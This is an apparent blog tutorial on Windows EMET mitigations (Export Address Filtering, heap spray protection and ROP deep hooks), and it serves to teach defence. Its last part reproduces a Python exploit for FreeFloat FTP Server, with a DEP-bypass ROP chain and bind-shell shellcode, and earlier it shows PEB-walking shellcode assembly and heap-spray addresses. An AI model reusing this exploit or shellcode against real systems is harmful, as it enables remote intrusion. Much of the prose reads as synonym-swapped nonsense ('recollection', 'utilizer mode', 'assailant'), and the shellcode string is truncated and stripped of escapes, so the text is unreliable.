Windows Exploit Mitigation Technology – Part 2
In Part 1, we explained GS cookies and Safe SEH. If you haven’t read that part, it is highly recommended to read it first.
The Enhanced Mitigation Experience Toolkit, or EMET, is rudimentally a shield or a shell that runs over Windows applications and protects them, regardless of how those applications have authentically been coded by their developer, to capitalize on security guards that are built into the Windows operating system. EMET is a wrapper that enables and enforces a set of protections that, when used together, genuinely enhance the security posture of a machine and greatly reduce the chance that exploits can run against your machine and cause any harm—most will simply fail to execute thoroughly. It is particularly auxiliary in guard against exploits that have not yet been patched by a software developer, making it a key implement that should be in your security arsenal.
In this article we are going to explain EAF (Export Address Filtering), which prevents shellcode execution. This scenario comes into play if the attacker somehow has managed to bypass the previously mentioned exploit prevention mechanism. This technique will not let the attacker execute some important parts of the shellcode. It is an application-wide protection.
It will inject EMET.dll inside the specified process for protection against shellcode execution.
Shellcodes locate IAT using PEB.ldr. EAF prevents the access to this location. EMET.dll puts a hardware break point on read at PEB.Ldr and catches the exception using a Vectored Exception.
This exception is the first handler, which means it will be called before any other Vectored Exception Handler.
The handler will check if the faulty address is in the range other than loaded modules. In that way, the IAT parsing is prevented by EMET.
The Vectored Exception Handler looks like this:
In order to test it, we can use the following c file that mentions PEB.LDR in the code.
xor edx, edx // zero edx
mov edx, fs:[edx+0x30] // get a pointer to the PEB
mov edx, [edx+0x0C] // get PEB->Ldr
mov edx, [edx+0x14] // get the first module from the InMemoryOrder module list
This code chunk to get InMemoryOrder Module will fail under EAF.
Heap spray protection
The heap spraying technique has been used in browsers for so long now. Heap spraying is basically used to bypass ASLR (address space layout randomization). In this technique, a large chunk of data is allocated to a range where it is easy to predict the address.
If we allocate a large buff, fill it with 0x04 only, and make it reach far beyond address 0x04040404, and after that, if we land at location 0x04040404, the following side effects would take place:
MOV EAX,DWORD PTR DS:[ESI] << EAX == 0x04040404
CALL DWORD PTR DS:[EAX+10] << JMP 0x04040404 because [eax + 10] =0x04040404
Other NOP like behaving addresses are:
0x05050505 = ADD EAX,5050505 <<< acts as a NOP
0x0c0c0c0c = OR AL, 0C << also acts as a NOP
0x0d0d0d0d = OR EAX,0d0d0d0d
EMET protects against heap spray by allocating memory at these regions and filling them with random data.
This technique applies for ROP prevention. It prevents ROP attacks on a vulnerable application. The technique is predicated on the key observation that after exploitation it must use ROP code to leverage the attack, and in this process interact with system calls. Examples of such interaction include starting other processes, opening files, etc.
Using this information, we can define a concept of critical function: A critical function is a function by executing which the attacker can modify system behavior, either by making modifications to the recollection or the current process.
Some examples of critical functions include:
2 VirtualProtect, VirtualAlloc, LoadLibrary –
In order to exploit successfully, the ROP Code will require to call at least one critical function from the ROP code. Deep hooks utilize this observation to perform the checks only when one of the critical functions gets called: when a critical function gets called, the opportune checks will be performed to determine if the critical function was called from the ROP code or as a component of mundane program execution.
It is quite important to note that ROPGuard does not contain a hardcoded list of critical functions. Instead, critical functions are defined in ROPGuard’s configuration file. In this way, critical functions can be integrated at any time to amend security and even process-categorical critical functions can be integrated. Similarly, critical functions can be abstracted in order to amend the performance of the system.
It is additionally consequential to note that the current prototype bulwarks only the functions in the utilizer mode. To obviate the assailant from bypassing these functions, the same protections could be integrated to the kernel counterparts of the defined critical functions.
In order to demonstrate that, we will use a ROP exploit on sample application protected using deep hooks. For a vulnerable application, we will use FreeFloat FTP Server Buffer Overflow Exploit (DEP Bypass) by blake.
import socket, sys
from struct import pack
print "Freefloat FTP Server DEP Bypass"
print " Written by Blake "
target = "localhost"
port = int("21")
# 728 bytes for shellcode
#Bind Shell shellcode port 4444
shellcode = ("x31xc9xdbxcdxbbxb3x93x96x9dxb1x56xd9x74x24xf4"
buffer = "x41" * 230
eip = pack(‘<L’,0x77F6100A) # RETN – shlwapi
rop = "x42" * 8 # compensate
rop += pack(‘<L’,0x5D09382C) # POP EBX, RETN – msvcirt
rop += "xffxffxffxff"
rop += pack(‘<L’,0x77c127e1) # INC EBX, RETN
rop += pack(‘<L’,0x5d093466) # POP EBP, RETN
rop += pack(‘<L’,0x7c8622a4) # SetProcessDEPPolicy
rop += pack(‘<L’,0x5d095470) # POP EDI, RETN
rop += pack(‘<L’,0x5d095471) # RETN
rop += pack(‘<L’,0x5d0913b4) # POP ESI, RETN
rop += pack(‘<L’,0x5d095471) # RETN
rop += pack(‘<L’,0x77e7d102) # PUSHAD # RETN – RPCRT4
nops = "x90" * 10
junk = "x42" * (1000 – len(buffer + eip + rop + nops + shellcode))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Connecting to %s on port %d" % (target,port)
print "[+] Sending payload"
s.send("USER " + buffer + eip + rop + nops + shellcode + junk + "rn")
print "[+] Exploit successfully sent"
print "[X] Unable to connect to %s" % target
raw_input("[+] Press any key to exitn")
After applying deep hooks, the script fails to exploit.